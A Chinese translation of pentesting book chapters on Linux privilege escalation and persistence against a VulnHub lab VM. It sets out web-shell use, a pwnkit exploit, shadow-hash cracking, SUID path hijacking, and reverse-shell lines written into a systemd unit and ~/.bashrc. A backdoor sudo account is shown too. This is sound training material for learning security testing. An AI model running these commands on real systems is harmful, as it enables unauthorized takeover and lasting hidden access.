$ sudo chown -R kali:_gvm /home/kali/shared_scripts
让我们来看看解释:
-
我们使用
mkdir命令创建了一个新目录。 -
脚本被复制到新目录中。
-
目录权限已更改,用户和组的权限设置为
7。用户和组的权限数字7代表读取 (4)、写入 (2) 和执行 (1)(4 + 2 + 1 = 7),而其他权限设置为读取 (4) 和执行 (1)(4 + 1 = 5)。 -
最后,所有者递归地更改为
kali用户和_gvm组,适用于新目录及目录中的所有文件。
以下图示演示了如何运行脚本并展示了脚本输出:
图 10.22 – 展示了 Greenbone 扫描脚本并显示扫描结果
你可以在 docs.greenbone.net/GSM-Manual/… 学习更多关于 gvm-cli 的使用。
本节结束时,我们重点讨论了漏洞扫描的自动化。我们的注意力和专注力是有限的。始终自动化那些琐碎、可重复的任务,这样你就能有更多时间专注于仔细审查扫描结果,发现可以利用的漏洞。
概述
本章探讨了使用 Bash 脚本进行网络渗透测试和自动化的主题。我们深入探讨了端口扫描,从基本的命令行选项到必要的高级技术,以优化结果的速度和深度。我们讨论了常见的网络协议的发现,这些协议常常被攻击者利用。最后,我们深入研究了网络漏洞扫描工具的自动化。
下一章将聚焦于 Bash 环境中的后渗透特权提升技术。当远程网络服务被利用时,通常会导致非 root 的 shell。在 第十一章 中,我们将深入探讨如何在 Bash shell 中枚举 Linux 系统,以提升权限并完成系统接管。
第十一章:Bash Shell 中的特权提升
特权提升是 Unix 和 Linux 环境中渗透测试的关键环节。本章探讨了识别和利用漏洞的技巧和方法,这些漏洞允许攻击者在系统中提升其权限。我们将重点介绍利用 Bash Shell 这一大多数 Unix 系统中都存在的强大工具,来执行各种特权提升策略。
在本章中,我们将研究常见的特权提升向量,编写 Bash 脚本进行系统枚举,并分析服务和计划任务中的配置错误的利用。我们将特别关注理解和利用设置用户 ID(SUID)和设置组 ID(SGID)二进制文件,这些文件常常提供特权提升的机会。通过掌握这些技巧,渗透测试人员可以有效评估并提高 Unix 和 Linux 系统的安全态势。
本章仅涵盖最常见的特权提升向量。欲了解更详细的列表并下载 LinPEAS 工具以自动执行这些检查,请访问 HackTricks 网站上的 Linux 特权提升检查表:book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist 。
虽然 LinPEAS 应用程序可以帮助你找到特权提升攻击向量,但随着更多 Linux 系统使用某种形式的端点检测与响应(EDR)保护代理,学习手动执行这些操作将变得愈加重要。这些 EDR 代理可能会检测并阻止像 LinPEAS 这样的脚本,迫使你手动进行这些检查。
在本章中,我们将涵盖以下主要主题:
-
理解 Unix/Linux 系统中的特权提升
-
特权提升的枚举技巧
-
利用 SUID 和 SGID 二进制文件进行 Bash 特权提升
-
利用配置错误的服务和计划任务
技术要求
本章的代码可以在以下链接找到:github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter11 。
如果你想跟着练习,你应该有一台可用的 Kali 虚拟机,并且需要下载并运行ESCALATE_LINUX虚拟机,链接:www.vulnhub.com/entry/escalate_linux-1,323/ 。确保 Kali 和ESCALATE_LINUX虚拟机使用相同的虚拟网络配置。
运行以下命令以在 Kali 中安装所需工具:
$ sudo apt update && sudo apt install -y dirsearch
理解 Unix/Linux 系统中的特权提升
Unix/Linux 系统中的权限提升是指获得比初始授予的用户或应用程序更高级别的访问权限的过程。这个概念是系统安全的基础,也是系统管理员和渗透测试人员的重点关注领域。
在 Unix/Linux 环境中,权限系统主要基于用户和组权限。root 用户(用户 ID 为 0)具有对整个系统的无限制访问权限。普通用户的权限有限,通常仅限于他们的主目录和特定的系统资源。
权限提升可以分为两种主要类型:
-
垂直权限提升:这涉及将权限从较低级别用户提升到更高级别用户,通常是针对 root 权限。例如,一个普通用户获取 root 权限。
-
水平权限提升:当用户获得应该只限于同一权限级别的其他用户的资源访问或执行限制操作时,发生这种情况。例如,一个普通用户访问另一个普通用户的文件。
Unix/Linux 系统中的权限提升常见路径包括以下几种:
-
利用系统服务或应用程序中的漏洞
-
文件或目录权限配置错误
-
弱密码策略或被泄露的凭证
-
内核漏洞
-
未修补的软件漏洞
在深入讨论权限提升的常见路径之前,首先需要回顾 Unix/Linux 的权限模型。理解 Unix/Linux 权限模型 对于掌握权限提升的概念至关重要:
-
文件权限通过读取(r)、写入(w)和执行(x)标志来表示,适用于所有者、组和其他用户。
-
特殊权限如
SUID、SGID和Sticky Bit也可能影响权限级别。 -
用户和组管理,包括
/etc/passwd和/etc/shadow文件,在访问控制中起到作用
权限提升技术通常涉及信息收集、漏洞识别和利用的结合。攻击者可能通过多重漏洞或配置错误的链式攻击,逐步增加其访问权限。
需要注意的是,权限提升本身并非恶意。系统管理员和安全专家使用这些技术来识别和解决安全漏洞。然而,恶意行为者使用这些技巧时,权限提升可能导致未经授权的访问、数据泄露和系统泄漏。
防止意外权限提升的预防措施包括:
-
定期的系统更新和补丁管理
-
文件和目录权限的正确配置
-
实施最小权限原则
-
使用 安全增强的 Linux(SELinux)或
AppArmor -
定期的安全审计和漏洞评估
理解权限提升对防御和进行 Unix/Linux 系统渗透测试至关重要。这为本章后续部分将探讨的更高级技巧和漏洞利用奠定了基础。
下一部分将探讨如何执行枚举。
权限提升的枚举技巧
枚举是权限提升的关键阶段,它允许渗透测试人员收集有关目标系统的信息。本节重点介绍 Bash 命令和技巧,以有效进行系统枚举来实现权限提升。
初始访问
本节将先于权限提升部分进行。它涵盖了如何连接到ESCALATE_LINUX虚拟机,我们将在本章其余部分中称之为目标。一旦建立了有效的 shell 连接,我们将进入后续部分。
在这个练习中,我同时在 VirtualBox 虚拟机中运行 Kali 和目标系统。Kali 和ESCALATE_LINUX都提供了可以下载并导入到 VirtualBox 中的虚拟机 OVA 文件。
网络接口配置为使用仅主机网络适配器,如下图所示:
图 11.1 – 虚拟网络接口配置
Kali 虚拟机应添加一个额外的虚拟网络接口。在两个 Kali 虚拟网络接口中,一个应该处于仅主机模式,另一个应该处于桥接模式,如下图所示:
图 11.2 – Kali VirtualBox 网络接口配置
此配置将使脆弱的目标系统与网络隔离,同时允许 Kali 系统连接到互联网以下载所需的工具。
如果你在识别 Kali 的哪个网络接口连接到每个网络模式时遇到困难,下面图示的命令输出应该能帮助你解决这个问题:
图 11.3 – 枚举虚拟网络接口
从 Offensive Security 下载的 Kali VirtualBox 虚拟机(cdimage.kali.org/kali-2024.2/kali-linux-2024.2-virtualbox-amd64.7z)已经安装了来宾扩展,这将允许你查询网络接口并获取其 IP 地址。在前图中,第一个网络接口卡(NIC)配置为仅主机访问模式,目标系统也是如此。不幸的是,目标系统没有安装 VirtualBox 来宾扩展;因此,我们无法查询其 IP 地址信息,只能依赖 Kali。
此外,前述图中的第二个和第三个命令仅在虚拟接口的编号上有所不同。NIC 1 对应 /VirtualBox/GuestInfo/Net/0/V4/IP ,而 NIC 2 对应 /VirtualBox/GuestInfo/Net/1/V4/IP 。由于 NIC 1 配置为 Host-only 并且其 IP 地址为 192.168.56.101 ,我们可以推测目标系统也位于此网络中。接下来,让我们扫描该网络,寻找监听 TCP 端口 80(HTTP)的 IP 地址,如下所示:
图 11.4 – 扫描网络以定位 HTTP 服务器
如果我们在网页浏览器中访问该地址,我们会看到一个 Apache2 默认页面,如下所示:
图 11.5 – 默认的 Apache2 页面
由于我们仅找到一个默认的网站,我们需要检查是否有其他的 Web 内容。运行以下 dirsearch 命令:
$ dirsearch -u http://192.168.56.102
输出显示 shell.php ,如下图所示:
图 11.6 – 找到了有效的 PHP 网页
如果我们在 Kali 上的网页浏览器中访问 192.168.56.102/shell.php,我们会看到网页上显示以下文本: /*pass cmd as** **get parameter*/ 。
这是一个我们通常不会得到的巨大线索,因此请记住,我们已经获得了一个查找漏洞的捷径,这样我们就可以将宝贵的时间集中在特权升级上,这是目标系统的意图所在。
接下来的图示展示了如何正确利用这个网页:
图 11.7 – Web shell 漏洞利用概念验证
接下来,我们需要在目标系统上获得一个 shell。在你的 Kali 终端中,输入 nc -nlvp 4444 并按下 Enter 键。
访问 Reverse Shell Cheat Sheet pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 。我们将使用 Python 版本。复制 Python shell 代码,然后访问 CyberChef 网站 gchq.github.io/CyberChef/#recipe=URL_Encode(true),并将 Python 代码粘贴到 Input 面板中。将要执行的 Python 命令从 /bin/sh 更改为 /bin/bash 。将 IP 地址和端口更改为与你在 Kali 系统上使用的相匹配。对于端口,你可以使用 4444 。点击 Output 面板中的 Copy 按钮。
在你的网页浏览器中打开目标 shell.php ,然后将 Python 代码粘贴到 cmd= 后面,如下图所示,接着按下 Enter 键:
图 11.8 – 在 Web shell 中执行 Python 载荷
在你的 Kali 终端中,你应该会看到一个反向 shell 连接,如下所示:
图 11.9 – 来自目标系统的反向 shell
现在我们已经建立了会话,让我们继续并开始在下一节中探索目标。
系统信息收集
一旦我在 Linux 系统上获得了一个 shell,首先想知道的是我是否可以使用sudo运行任何命令。输入以下命令来检查你的sudo权限:
$ sudo -l
不幸的是,我们在目标系统上被要求输入密码。由于我们不知道此用户帐户的密码,因此这是一条死胡同。如果我们知道密码,我们可以输入它,并且如果运气好的话,命令输出可能会显示我们可以使用sudo运行某个命令,并可能利用它提升权限。
提示
如果你输入sudo -l命令并得到任何输出,表明你可以使用sudo运行任何命令,请在GTFOBins网站(gtfobins.github.io)上搜索该命令,查看是否可以滥用它进行权限提升。
让我们在当前目录/var/www/html中看看。我们检查该目录中的文件是否包含任何凭据。然而,如下图所示,我们并没有运气:
图 11.10 – 检查当前工作目录中的文件
接下来,我们查看一下我们的主目录。使用cat命令检查此用户之前输入的任何命令,使用以下命令:
$ cat /home/user6/.bash_history
在查看我们的主目录时,确实发现了一些有趣的信息,如下所示:
图 11.11 – 表示此用户具有 sudo 权限的文件
突出的文件表明此用户曾经运行过sudo命令。由于不知道用户的密码,我们无法运行sudo -l来查明他们可以用sudo运行什么命令。
我们能否查看其他用户的.bash_history文件?输入以下命令来检查:
$ find /home -name .bash_history 2>/dev/null -exec cat {} +
前面的命令在/home目录上运行find命令,查找文件名(-name)为.bash_history的文件。错误(文件描述符 2)被发送到/dev/null,从而被丢弃。任何与此模式匹配的文件都会打印到屏幕上(-exec cat {} +)。我们得到的输出比查看当前用户的.bash_history文件时要多得多,但在命令行参数的输出中没有找到任何凭证。然而,值得回头检查每个用户的.bash_history文件,并记录下谁运行了什么命令。一旦我们获得更多的信息,这些信息通常会很有用。由于我们可以访问多个用户的家目录,请务必花时间探索这些目录,寻找任何包含有用信息的文件。
接下来,让我们看看系统架构,并寻找内核漏洞。了解系统的架构、内核版本和发行版有助于识别潜在的漏洞。以下命令打印该信息:
$ uname -a
以下截图显示了该命令在目标系统上的输出。它揭示了目标系统正在运行 Ubuntu Linux,内核版本为4.15.0-45-generic,架构为x86_64。
图 11.12 – 命令输出显示目标操作系统的基本信息
要获取特定的操作系统信息,请尝试以下命令:
$ cat /etc/lsb-release
$ cat /etc/os-release
目标系统上的命令输出如下:
图 11.13 – 枚举操作系统版本信息
接下来,我们将根据关于目标操作系统和内核版本的信息,检查是否有提权漏洞。在你的 Kali 终端中,输入以下命令:
$ searchsploit -s "4.15" --id
以下是解释:
-
searchsploit: 允许你使用一个或多个术语在Exploit-DB中搜索漏洞和 shellcode -
-s: 严格搜索 -
--id: 显示EDB-ID值,而不是本地路径
searchsploit的输出如下图所示:
图 11.14 – 使用 searchsploit 的演示
提示
我建议你查看searchsploit的man页面。这里有一些非常有用的功能,例如能够检查(-x)内容,并将漏洞镜像(-m)到当前目录。
基于内核版本和目标系统运行 Ubuntu 18.04 的知识,我们应该研究polkit** / **pwnkit 漏洞(CVE-2021-4034)。该漏洞已在polkit版本0.120中修复。以下图示为此漏洞的searchsploit命令输出:
图 11.15 – searchsploit 搜索结果显示 polkit 漏洞
我们可以使用以下命令列举polkit版本:
$ pkexec --version
以下图所示的输出显示目标系统的polkit版本存在漏洞:
图 11.16 – pkexec --version 命令揭示目标系统存在漏洞
在尝试利用漏洞之前,我们使用which gcc命令检查是否安装了 GCC 编译器。我们发现它已经安装。
我们运行searchsploit -m 50689命令,将漏洞代码复制到当前目录。检查该文件的文本,我们发现它包含两个文件的代码,evil-so.c和exploit.c。
重要提示
在未经检查源代码并确认其中没有恶意内容之前,绝对不要盲目运行漏洞代码和第三方脚本,以免以意外方式利用你或你客户的系统!
由于这个漏洞代码的来源是Exploit-DB(searchsploit),它是安全的,因为Offensive Security在发布漏洞提交之前会对其进行审核。
我们可以将漏洞和脚本传输到目标系统。在 Kali 系统上,创建一个名为share的新目录(mkdir)。我们永远不希望将我们的主目录或包含敏感信息的任何位置共享到网络。切换到share目录(cd share),将任何漏洞或脚本复制到该目录,然后启动一个 Python HTTP 服务器,命令如下:python3 -m http.server。
在目标系统上,切换到/tmp目录(cd /tmp)。该目录对所有用户是可写的。/dev/shm目录通常也对所有用户是可写的。然后,使用wget http://192.168.56.11:8000/filename命令从 Kali 传输文件。当然,请确保根据你的系统修改 IP 地址和文件名。在运行之前,别忘了使你的漏洞或脚本可执行(chmod +x)!
在目标系统上,按照下图所示编译漏洞代码:
图 11.17 – 编译 polkit 漏洞代码
上图中的输出只是警告,我们使用ls -l命令检查文件,发现它们实际上已经被编译。我们通过运行chmod +x filename命令更改文件权限,使其可执行,然后运行该漏洞。以下图展示了漏洞的实际操作:
图 11.18 – 运行 polkit 漏洞代码后获得 root shell
尽管我们拥有 root 权限,但我们需要建立某种持久性。我 cat 了 /etc/shadow 文件,其中包含密码哈希,然后将副本保存到我的 Kali 系统。我随后尝试使用 john shadow 命令破解哈希。成功破解了 root 密码,如下图所示,我们发现 root 密码是 12345。拥有 root 密码后,如果我们断开连接,仍然可以继续以 root 身份访问该系统:
图 11.19 – 使用 john 破解 root 密码
为了学习目的,假设我们没有找到这个漏洞,我们将继续枚举系统中的权限提升路径。
接下来,我们需要测试 user6 路径中的可写目录。如果我们在路径中发现任何可写目录,可能就能劫持并替换其内容。为此,我们将使用以下脚本,该脚本可以在本章的 GitHub 仓库中找到,名为 ch11_checkpath.sh:
#!/usr/bin/env bash
# Get the PATH environment variable
path_dirs=$(echo $PATH | tr ':' '\n')
上述代码以熟悉的 shebang 行开始。PATH 环境变量被展开,然后每个冒号都被替换为换行符,使数据变成每行一个目录。然后,这些数据被分配给 path_dirs 变量。
# Function to check write permissions recursively
check_permissions() {
local dir=$1
echo "[i] Checking write permissions for $dir and its subdirectories:"
find "$dir" -type d | while read subdir; do
if [ -w "$subdir" ]; then
echo "[!] $subdir is writable!" else
echo "[-] $subdir is not writable"
fi
done
}
上述代码块递归检查每个目录是否可写。
# Loop through each directory in PATH and check write permissions recursively
for dir in $path_dirs; do
if [ -d "$dir" ]; then
check_permissions "$dir"
fi
done
上述代码块遍历 path_dir 变量中的目录列表,并将每个目录传递给 check_permissions 函数。
我们在目标上运行此脚本,但未发现任何可写目录,如下图所示:
图 11.20 – 检查 PATH 中的可写目录
接下来,我们使用以下命令检查环境变量中是否包含凭据、密钥或其他有趣的数据:
$ env
输出如下:
图 11.21 – 显示的环境变量
不幸的是,我们在环境变量中没有找到任何有趣的数据。
接下来,我们将探索正在运行的进程。pspy 工具允许我们在不是 root 用户的情况下监控运行的进程:github.com/DominicBreuker/pspy。
将 pspy64 转移到目标系统后,我们运行它,并在输出中看到了一些有趣的内容,如下图所示:
图 11.22 – 在 pspy64 输出中运行的有趣可执行文件
我们检查了 /home/user4 中的这些文件,发现我们没有写入权限,如下图所示:
图 11.23 – 检查 user4 的家目录中的文件
最后,让我们检查一些常见的文件权限。在目标系统上运行以下命令:
$ ls -l /etc/passwd
$ ls -l /etc/shadow
当然,我们在这里并没有运气,我们无法写入这些文件,也无法从 /etc/shadow 读取密码哈希,但检查一下总没坏处。
本节提供了检查常见文件系统路径的入门,并介绍了如何枚举内核和操作系统版本,搜索有效的漏洞。下一节,我们将探索 SUID 和 SGID 二进制文件,以及它们如何用于特权升级。
使用 Bash 利用 SUID 和 SGID 二进制文件
SUID 和 SGID 是类 Unix 系统中的特殊权限,允许用户以文件所有者或组的权限执行文件。当被滥用时,这些权限可能导致特权升级。本节将重点介绍如何使用 Bash 命令和脚本识别和利用 SUID/SGID 二进制文件。
在前面的章节中,你学习了 Linux 文件权限。让我们快速回顾一下,然后基于这个概念深入理解 SUID 和 SGID。
如果我们输入 ls -l 命令并查看 shell.php 文件的输出,我们会发现以下内容:
-rw-r--r-- 1 root root 68 Jun 4 2019 shell.php
让我们来分解一下。第一个字符总是 - 表示文件,或者 d 表示目录。在下图中,我已突出显示文件类型。由于此图中的文件类型是一个破折号(-),我们知道这是一个文件:
图 11.24 – 文件类型已突出显示,显示它是一个文件,而不是目录
在下图中,用户权限已突出显示。如果你记得,当三个权限都设置时(读取、写入和执行),它们的总和为 7 (4 + 2 + 1 = 7)。在这种情况下,由于文件不可执行,用户权限的总和为 6 (4 + 2 + 0 = 6):
图 11.25 – 用户权限已突出显示
以下图所示,检查了组权限。该文件可读取,但不可写入或执行。组权限的总和为 4 (4 + 0 + 0 = 4):
图 11.26 – 组权限已突出显示
以下图所示,检查了其他权限。如果你不是文件权限中列出的用户或组成员,那么适用其他权限:
图 11.27 – 其他权限已突出显示
在下图中,root 用户是文件所有者:
图 11.28 – 文件用户所有权显示为 root
root 组对该文件具有组权限,如下图所示:
图 11.29 – 组所有权属于 root 组
Linux 特殊文件权限超出了基本的读取、写入和执行权限。两个关键的特殊权限是 SUID 和 SGID 位:
-
SUID:当应用于可执行文件时,SUID 使文件以文件拥有者的权限运行,而不是执行它的用户的权限。它在文件拥有者的执行权限字段中表示为s。要设置 SUID,请输入此命令:
chmod** **u+s filename。要使用数字表示法设置 SUID,请输入此命令:
chmod** **4000 filename。在检查文件权限时,下面的图展示了一个具有 SUID 权限的文件权限:
图 11.30 – 文件权限显示它是 SUID
-
SGID:SGID 的工作方式类似于 SUID,但适用于组。当设置在可执行文件上时,它会以文件所属组的权限运行。在目录上设置时,它会使在该目录中创建的新文件继承父目录的组。要设置 SGID,请输入此命令:
chmod** **g+s filename。要使用数字表示法设置 SGID,请输入此命令:
chmod** **2000 filename。在检查文件权限时,下面的图展示了一个具有 SGID 权限的文件权限:
图 11.31 – 文件权限显示它是 SGID
这些权限在多个方面与权限提升相关。如果一个由 root 拥有的易受攻击的 SUID 二进制文件被利用,可能会导致权限提升。SGID 与 SUID 类似,只是它提升的是特定组的权限。如果攻击者能够修改这些二进制文件,他们可以插入恶意代码,以提升的权限执行。可执行文件上的不必要的 SUID 或 SGID 位增加了攻击面。
要查找 SUID 和 SGID 二进制文件,请使用以下 Bash 命令:
# Find SUID binaries
$ find / -perm -u=s -type f 2>/dev/null
# Find SGID binaries
$ find / -perm -g=s -type f 2>/dev/null
这些命令从顶级目录 / 开始,搜索整个文件系统,查找具有 SUID(-u=s)或 SGID(-g=s)位的文件(-type f)。2>/dev/null 表达式将错误信息重定向到 /dev/null,从而抑制权限拒绝错误。/dev/null 文件实际上是一个垃圾桶,底部是一个黑洞。任何发送到这个特殊位置的数据都会被丢弃。
让我们在目标系统上运行这些命令并比较输出。下面的图展示了搜索 SUID 文件命令的部分输出:
图 11.32 – SUID 文件列表的部分输出
在目标系统的输出中,在用户的主目录下找到了两个有趣的匹配项。如下图所示:
图 11.33 – 从我们的搜索中检查到的特定 SUID 文件
查看 /home/user3/shell 文件,我们运行 file 命令,发现它是一个编译过的可执行文件,如下图所示:
图 11.34 – 在 shell 上使用 file 命令显示它是一个编译过的 ELF 可执行文件
有一些 Linux 调试程序可以追踪执行并打印系统和库调用。然而,我们不需要将其复杂化。如果我们运行 strings 命令(strings /home/user3/shell),我们会发现它引用了一个文件 ./.script.sh,如下图所示:
图 11.35 – strings 命令的输出显示它调用了一个 shell 脚本文件
我检查了这个文件的内容,发现它只是一个嘲弄,不包含任何有用的信息。然而,我在 strings 输出中看到通过相对路径调用了 .script.sh 文件,路径为 ./.script.sh。这意味着它并没有调用 /home/user3/.script.sh 的绝对路径,而是相对于当前工作目录调用它。我们可以 cd 到 /tmp 目录,创建一个恶意版本的 .script.sh,然后执行 /home/user3/shell,这将调用本地的 .script.sh 副本,因为我们没有权限修改原始文件。
以下图示例展示了利用 /home/user3/shell SUID 文件获取 root shell 的过程:
图 11.36 – 利用 SUID 文件获取 root 权限
现在你已经了解了 SUID 和 SGID 可执行文件可能带来的危害,接下来我们来讨论如何保护它们以防止被利用。如果我们检查文件权限,会看到 其他用户 可以读取和执行,如下图所示:
图 11.37 – 检查 SUID shell 文件的权限
目前它的文件权限为数字 4755。为了保持 SUID 设置,并保护该文件不被非 root 用户或不在 root 组中的用户执行,我们可以使用以下命令来修复:
$ chmod 4754 /home/user3/shell
输入此命令后,你可以在以下图示中看到,除了 root 或属于 root 组的用户之外,其他人将无法再执行该文件:
图 11.38 – 输入 chmod 命令修复这个易受攻击的 SUID 文件
以上内容是关于利用和保护 SUID 和 SGID 可执行文件的介绍。在下一部分,你将学习如何枚举和利用配置错误的服务和计划任务。
利用配置错误的服务和计划任务
在网络安全中,了解如何列举、利用和保护 Linux 系统上配置错误的服务和 cron 作业至关重要。本节将通过 Bash 脚本引导您完成这一过程,提供实用的示例和解释。
Systemd 是 Linux 操作系统的系统和服务管理器。它负责初始化系统、管理系统进程并处理系统服务。Systemd 服务是定义各种应用程序和进程如何启动、停止和管理的重要组件。
Systemd 服务由单元文件定义,单元文件是描述如何管理服务或进程的配置文件。这些单元文件通常具有 .service 扩展名,并位于 /etc/systemd/system/ 或 /lib/systemd/system/ 等目录中。每个服务单元文件包含几个部分,指定服务的行为。
首先,我们需要列出系统上所有活动的服务。可以使用 systemctl 命令实现,如下所示:
$ systemctl list-units --type=service --state=active
此命令列出了系统上所有活动的服务。
接下来,我们需要检查这些服务的权限,以识别任何配置错误。
可写服务文件可以通过修改它们来执行恶意代码。以下命令会在 systemd 目录中搜索可写文件:
$ find /etc/systemd/system/ -type f -writable
此命令的输出不会返回目标系统的任何结果。但是,让我们继续并学习如何修改可写的服务文件,如果在渗透测试中找到一个文件的话。如果发现一个可写服务文件,可以修改它来执行反向 shell。
这是修改可写服务文件的示例(将 attacker_ip 替换为您的 Kali 系统中的适当值):
$ echo "[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" > /etc/systemd/system/vulnerable.service
在您的 Kali 系统上执行以下命令,以准备接收反向 shell:
$ nc -nlvp 4444
然后,重新加载 systemd 管理器配置,如下所示:
$ systemctl daemon-reload
重启易受攻击的服务,如下所示:
$ systemctl restart vulnerable.service
这样应该会收到来自目标的反向 shell。
现在,您已经学会了如何列举和利用易受攻击的服务,让我们继续深入探讨 cron 作业。
Cron 作业是计划任务,在类 Unix 操作系统中会在指定的时间间隔内自动运行。它们由 cron 守护进程 管理,后者是一个在后台执行命令的进程,根据预定的时间和日期执行命令。在网络安全中,cron 作业对于自动化常规任务、监控系统和维护安全协议非常有价值。如果配置错误,cron 作业可能会被利用。
以下 Bash 命令用于检查 Linux 系统上的计划任务,特别是识别与 cron 作业和计划任务相关的潜在权限提升机会:
$ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
通过运行此命令,您可以查找系统上所有已配置的计划任务(cron 作业,at 作业和 anacron 作业),排除任何被注释掉的行。
该命令在目标系统上的输出如以下图所示:
图 11.39 – 检查计划任务命令的输出
从图中可以看到,autoscript.sh 正在以 root 身份运行。
autoscript.sh 条目也在本章早些时候被发现,如下所示的 pspy64 命令输出:
图 11.40 – pspy64 命令输出显示 autoscript.sh 作为 root 运行
我们检查 autoscript.sh 文件的内容,以了解它执行的操作,如下图所示:
图 11.41 – 检查 autoscript.sh 的内容以了解其目的
我们看到根据注释,它似乎不完整。然而,它确实执行了一个带有 bash -** **i 命令的交互式 shell。
在检查文件权限时,我们发现 user6 没有权限写入该文件,并且该文件不是 SUID 文件:
图 11.42 – 检查 autoscript.sh 文件权限
从这个角度来看,我们需要拥有 user4 的 shell 或获取该账户的密码,才能利用此权限提升向量。在这个场景中,我们两者都没有。
安全配置易受攻击的服务和 cron 任务的方式与我们之前保护 SUID 和 SGID 可执行文件的方法相同,即通过检查文件权限,确保未经授权的用户无法编辑或执行它们。
通过遵循这些步骤,你可以使用 Bash 脚本枚举和利用 Linux 系统中配置错误的服务和 cron 任务。了解这些漏洞有助于提高系统的安全性,防范潜在的攻击。
总结
本章致力于探索在渗透测试场景中通过 Bash shell 实现权限提升的技术和策略。它专注于识别和利用系统漏洞和配置错误,这些漏洞和配置错误可能导致在 Linux Bash 环境中获得提升的权限。
Linux 系统常用于提供 Web 应用服务。了解如何提升权限对渗透测试人员而言是非常有价值的,特别是在他们利用 Web 应用漏洞并获得低权限 shell 后。
下一章将探讨在 Linux Bash 环境中的后渗透持久性和 pivoting 技术。
第十二章:持久化与转发
本章重点介绍渗透测试中的持久化和转发技术,特别是使用 Bash Shell。我们将涵盖保持长期访问被攻破系统和在网络中扩展访问的方法。接着,我们将介绍基本和高级的持久化技术、网络转发策略以及横向移动的方法。我们还将讨论适当清理程序的重要性,以减少渗透测试活动的可检测痕迹。
本章的各节内容从基础的持久化概念到更复杂的方法,接着是网络转发策略的探索。通过这些内容,您将学习如何使用 cron 作业、启动脚本和系统级服务来实现持久化。我们将涵盖各种转发技术,包括端口转发和通过 SSH 隧道的转发。最后,我们将提供清理日志、删除命令历史记录和管理数字足迹的指导,以在渗透测试期间保持操作安全。
本章将涵盖以下主要内容:
-
使用 Bash 进行持久化的基础
-
学习高级持久化技术
-
使用 Bash 进行网络转发的基础
-
精通高级转发和横向移动
-
清理和掩盖痕迹
技术要求
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter12找到。
如果您希望跟随练习,您需要有一个 Kali 和ESCALATE_LINUX虚拟机。
输入以下命令在 Kali Linux 系统上安装先决条件:
$ sudo apt install proxychains4
请参阅第十一章获取ESCALATE_LINUX下载链接和配置说明。
提示
ESCALATE_LINUX虚拟机将在本章中被称为目标。
在我们开始下一节之前,需要对目标进行一些初步设置。在第十一章中,我们已经提升了 root 权限并破解了 root 密码。root 密码是12345。
在此,目标上的user1具有 sudo 权限,如下图所示:
图 12.1 – 显示了/etc/sudoers 中的一条条目
我们将为user1设置密码,并使用该账户完成本章的所有练习。这将模拟我们利用具有sudo权限的用户账户,并为后续的操作做准备。
再次利用目标上的 Web 应用程序获得user6的 shell。如果您需要复习相关操作,请参阅第十一章。
在继续之前,你需要建立一个交互式 shell。输入su root命令,观察输出信息显示su: must be run from a terminal。要解决此问题,输入以下命令:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
然后,输入su root命令,并在提示时输入12345作为密码。最后,输入echo "user1:12345" | chpasswd命令:
图 12.2 – 设置 user1 的密码
提示
你可能已经注意到,shell 正在回显你输入的命令。要停止这一现象,可以输入stty -echo命令。
最后,我们必须输入exit以退出 root 提示符,并在提示输入密码时输入su user1和12345。现在你应该能看到user1的提示符,如下图所示:
图 12.3 – 切换到 user1 账户
完成这些初步设置后,你就可以开始接下来的练习了。
Bash 持久性的基本原理
持久性是指在初始利用后,继续保持对被攻陷系统的访问权限。对于评估 Linux 系统的渗透测试人员来说,了解基于 Bash 的持久性技术至关重要。本节将介绍一些使用 Bash 建立持久性的方法。
在 Bash 中创建新用户
一种基本技巧是创建一个具有 root 权限的新用户账户。请参见以下示例,了解添加具有 root 权限新用户的命令:
$ sudo useradd -m -s /bin/bash bashdoor $ sudo usermod -aG sudo bashdoor $ echo "bashdoor:password123" | sudo chpasswd
这些命令会创建一个名为bashdoor的新用户,将其添加到sudo组,并将密码设置为password123。新用户将拥有完全的 root 权限。
让我们更详细地看看这个过程是如何进行的:
-
useradd:创建新用户账户 -
-m:创建主目录 -
-s:将登录 shell 设置为bash -
usermod -aG:将用户添加到sudo组 -
chpasswd:设置密码
让我们看看这个操作是如何进行的:
图 12.4 – 添加具有完全 sudo 权限的新用户的过程
添加新用户是一个比较显眼的操作,可能会被注意到。如果你只是给现有用户添加一个后门 shell,则可能不容易被发现。接下来我们将探讨这种技术。
给 Bash shell 添加后门
~/.bashrc 文件会在每次打开新的交互式 Bash shell 时执行。我们可以在这里添加命令。
在继续之前,退出bashdoor的终端会话,以便返回到user1的提示符。接下来,在 Kali 终端中输入以下命令,确保你已经准备好接收反向 shell:
$ nc -nlvp 5555
在user1的 shell 中,输入以下命令,并用你自己的 IP 地址和端口替换:
$ echo "(/bin/bash -i >& /dev/tcp/192.168.56.101/5555 0>&1) &" >> ~/.bashrc
这将把一个反向 shell 命令添加到用户的~/.bashrc文件中。每次打开新的终端时,它都会连接回攻击者的机器。
然后,使用 su** **user1 命令以 user1 身份建立一个新会话。
你应该在运行 nc 的终端看到一个新的 user1 会话,如下图所示:
图 12.5 – 我们的反向 Shell 已经建立
提示
如果你在使用 echo 命令将内容追加到 .bashrc 文件末尾时出错,可能由于 Shell 限制而很难通过编辑器删除。你可以输入 sed -i '$d' filename 命令删除文件的最后一行。
除了 .bashrc 中的 Bash 反向 Shell 后门外,定时作业是另一种有效的方式,用于在 Linux 系统中维持 Bash 环境的持久性。
创建后门 cron 作业
Linux cron 作业 是定期自动运行的任务。cron 守护进程 是一个后台服务,它执行这些预定的命令、脚本或程序。
cron 作业在 crontab 文件中定义,文件中包含任务的安排和执行命令。每一行代表一个作业,并遵循以下格式:
* * * * * command_to_execute
五个星号代表以下几个方面:
-
分钟(0-59)
-
小时(0-23)
-
日(1-31)
-
月份(1-12)
-
星期几(0-7,其中 0 和 7 代表星期天)
用户可以使用 crontab -e 命令编辑他们的 crontab 文件。以下是一个示例,表示每天 3:30 A.M. 运行脚本的 cron 作业:
30 3 * * * /path/to/script.sh
要查看现有的 cron 作业,可以使用 crontab -** **l 命令。
